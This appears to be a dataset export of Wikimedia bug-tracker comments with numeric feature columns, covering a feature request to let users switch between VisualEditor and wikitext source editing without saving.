",,,1446631989,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.6363636363636362,0.9090909090909091,"Change 250939 had a related patch set uploaded (by Esanders):
Target init: Add edit mode switch icons to VE and WE toolbars

[[GERRIT_URL]]
"
556857,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 245593 merged by jenkins-bot:
Allow switching from wikitext to VE

[[https://gerrit.wikimedia.org/r/245593]]",,,1446506314,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,3.761904761904762,0.9047619047619048,"Change 245593 merged by jenkins-bot:
Allow switching from wikitext to VE

[[GERRIT_URL]]"
545374,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 245593 had a related patch set uploaded (by Alex Monk):
[WIP][POC][DONOTMERGE] Allow switching from wikitext to VE

[[https://gerrit.wikimedia.org/r/245593]]
",,,1444684486,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,119,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,4.066666666666666,0.8333333333333334,"Change 245593 had a related patch set uploaded (by Alex Monk):
[WIP][POC][DONOTMERGE] Allow switching from wikitext to VE

[[GERRIT_URL]]
"
485100,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,">>! In T49779#1172521, @Jdforrester-WMF wrote:
>>>! In T49779#1172511, @Krenair wrote:
>> We should talk to #Parsoid to work out what dependencies this has from them, if any
> 
> It's mostly a RESTbase dependency, at this point.

Perhaps we should make a separate task for the RESTbase/Parsoid dependencies here.",,,1435777029,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,104,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,32.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.08,0.72,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Perhaps we should make a separate task for the RESTbase/Parsoid dependencies here."
455842,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,This would be a great enhancement!,,,1431055639,,PHID-USER-p6hvqn5njgnxuagekh4b,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,96,,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,This would be a great enhancement!
436941,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,">>! In T49779#1172511, @Krenair wrote:
> We should talk to #Parsoid to work out what dependencies this has from them, if any

It's mostly a RESTbase dependency, at this point.",,,1427931868,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,91,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9333333333333333,"QUOTE
QUOTE

It's mostly a RESTbase dependency, at this point."
436940,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"We should talk to #Parsoid to work out what dependencies this has from them, if any",,,1427931774,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,91,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,28.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,11.0,28.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.9444444444444444,"We should talk to #Parsoid to work out what dependencies this has from them, if any"
208787,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to Alex Monk from comment #17)
> So with the resolution of bug 50687, this is effectively ""Provide a way for
> the user to switch from the wikitext source editor to VisualEditor, keeping
> changes but not saving"", right?

Yes, as I understand it.  Adding that direction would then allow bidirectional switching.",,,1407181934,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,57,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,6.0,11.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"(In reply to Alex Monk from comment #17)
QUOTE
QUOTE
QUOTE

Yes, as I understand it.  Adding that direction would then allow bidirectional switching."
208780,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"So with the resolution of bug 50687, this is effectively ""Provide a way for the user to switch from the wikitext source editor to VisualEditor, keeping changes but not saving"", right? Or have I misunderstood?",,,1407032261,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,14.0,2.0,5.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.142857142857143,0.8333333333333334,"So with the resolution of bug 50687, this is effectively ""Provide a way for the user to switch from the wikitext source editor to VisualEditor, keeping changes but not saving"", right? Or have I misunderstood?"
208775,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Sweedish Wikipedians including User:Jan Ainali and User:FrankieF are discussing/requesting an enhancement to VisualEditor here [1] and translate the thread as follows:

""What we are missing is way to easily switch between wikitext and VE without saving or loosing stuff. Just like you can in Wordpress between the WYSIWYG and HTML editor."" 

[1]
https://sv.wikipedia.org/wiki/Wikipedia:VisualEditor/%C3%85terkoppling#Saknade_funktioner_i_Redig.l.C3.A4get",,,1381789003,,PHID-USER-brn4v5ta45bnw4f5as3h,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,4.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,11.0,14.0,0.0,3.0,0.0,3.0,0.0,1.0,1.0,0.0,7.0,0.0,0.0,3.0,4.211267605633803,0.7746478873239436,"Sweedish Wikipedians including User:Jan Ainali and User:FrankieF are discussing/requesting an enhancement to VisualEditor here [1] and translate the thread as follows:

""What we are missing is way to easily switch between wikitext and VE without saving or loosing stuff. Just like you can in Wordpress between the WYSIWYG and HTML editor."" 

[1]
URL"
208769,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #14)
> (In reply to comment #13)
> > (In reply to comment #12)
> > > This functionality was requested back in December 2011 in bug 33124.
> > 
> > No? The diff view of the wikitext is not even a read-only view of the entire
> > document's wikitext, let alone an editable one? Also, quickly editing the
> > diff
> > in a pop-over window is fundamentally different paradigm from having a proper
> > wikitext editor available to all users at all times, and being able to switch
> > back and forth, which is what this bug requests.
> 
> From what I remember about the feature which existed in the prototype which
> motivated the request made on bug 33124, it actually displayed the entire
> document's wikitext (not just the diff).

Oh, yes, you are right. My apologies.

This means that that bug is even further from ""this functionality"", however.",,,1381334205,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,8.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,3.0,6.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.1538461538461537,0.49230769230769234,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Oh, yes, you are right. My apologies.

This means that that bug is even further from ""this functionality"", however."
208765,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #13)
> (In reply to comment #12)
> > This functionality was requested back in December 2011 in bug 33124.
> 
> No? The diff view of the wikitext is not even a read-only view of the entire
> document's wikitext, let alone an editable one? Also, quickly editing the
> diff
> in a pop-over window is fundamentally different paradigm from having a proper
> wikitext editor available to all users at all times, and being able to switch
> back and forth, which is what this bug requests.

From what I remember about the feature which existed in the prototype which motivated the request made on bug 33124, it actually displayed the entire document's wikitext (not just the diff).",,,1381333880,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,19.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,3.0,10.0,11.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.761904761904762,0.6349206349206349,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

From what I remember about the feature which existed in the prototype which motivated the request made on bug 33124, it actually displayed the entire document's wikitext (not just the diff)."
208762,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #12)
> This functionality was requested back in December 2011 in bug 33124.

No? The diff view of the wikitext is not even a read-only view of the entire document's wikitext, let alone an editable one? Also, quickly editing the diff in a pop-over window is fundamentally different paradigm from having a proper wikitext editor available to all users at all times, and being able to switch back and forth, which is what this bug requests.",,,1381329923,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,14,,2.0,0.0,0.0,0.0,1.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,20.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,6.0,0.0,2.0,14.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.802325581395349,0.7674418604651163,"(In reply to comment #12)
QUOTE

No? The diff view of the wikitext is not even a read-only view of the entire document's wikitext, let alone an editable one? Also, quickly editing the diff in a pop-over window is fundamentally different paradigm from having a proper wikitext editor available to all users at all times, and being able to switch back and forth, which is what this bug requests."
474276,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,This functionality was requested back in December 2011 in bug T35124.,,,1434266616,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,101,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.916666666666667,0.9166666666666666,This functionality was requested back in December 2011 in bug T35124.
208759,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,This functionality was requested back in December 2011 in bug 33124.,,,1381301841,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,0.9166666666666666,This functionality was requested back in December 2011 in bug 33124.
208756,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #10)
> Im not immediately inclined to work on SE->VE, as that could facilitate
> people
> playing games with the wikitext in order to put dodgy entries into the
> 'VisualEditor' tagged edit list, which would be impossible to debug.

That could be mitigated with an editfilter or some other indication that an editor had used both modes. Whether such would be possible or desirable is another matter",,,1375211326,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,2.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,15.0,4.0,4.0,11.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.021739130434782,0.8043478260869565,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

That could be mitigated with an editfilter or some other indication that an editor had used both modes. Whether such would be possible or desirable is another matter"
208753,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"I have built a script which switches from VE to SE.
https://en.wikipedia.org/wiki/User:John_Vandenberg/switch_editor

I havent looked at whether the API and VE codebase can support switching from SE back to VE, but it seems like JS could obtain rendered HTML (action=parse?) and load it into VE.

Im not immediately inclined to work on SE->VE, as that could facilitate people playing games with the wikitext in order to put dodgy entries into the 'VisualEditor' tagged edit list, which would be impossible to debug.",,,1374296995,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,5.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,15.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,16.0,10.0,1.0,2.0,0.0,5.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,1.0,3.808080808080808,0.7474747474747475,"I have built a script which switches from VE to SE.
URL

I havent looked at whether the API and VE codebase can support switching from SE back to VE, but it seems like JS could obtain rendered HTML (action=parse?) and load it into VE.

Im not immediately inclined to work on SE->VE, as that could facilitate people playing games with the wikitext in order to put dodgy entries into the 'VisualEditor' tagged edit list, which would be impossible to debug."
208749,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,*** Bug 50698 has been marked as a duplicate of this bug. ***,,,1373855340,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50698 has been marked as a duplicate of this bug. ***
208743,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #7)
> See also:
> * [[Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]

Helder. I corrected the link (I hope):
* [[mw:Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]

See: [[WP:Bugzilla]] and the section currently titled ""Links from within Bugzilla"".

Hey Helder. Maybe you can develop a preview mode for Bugzilla? :) Bugzilla needs a ""preview"" mode:
*https://bugzilla.mozilla.org/show_bug.cgi?id=40896",,,1372983348,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,2.0,1.0,1.0,0.0,3.0,6.0,11.0,2.0,4.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,6.0,3.0842105263157893,0.6210526315789474,"(In reply to comment #7)
QUOTE
QUOTE

Helder. I corrected the link (I hope):
* [[mw:Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]

See: [[WP:Bugzilla]] and the section currently titled ""Links from within Bugzilla"".

Hey Helder. Maybe you can develop a preview mode for Bugzilla? :) Bugzilla needs a ""preview"" mode:
*URL"
208736,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"See also:
* [[Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]
* Old demo with side-by-side view:
http://blog.wikimedia.org/2011/12/13/help-test-the-first-visual-editor-developer-prototype/visual-editor-demo-2/",,,1372878442,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,2.6153846153846154,0.6410256410256411,"See also:
* [[Thread:VisualEditor/Feedback/ Side-by-side view (no more?)]]
* Old demo with side-by-side view:
URL"
208729,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,Adding 'source' to subject line to make this easier to search.,,,1372787226,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,3.7142857142857144,0.7857142857142857,Adding 'source' to subject line to make this easier to search.
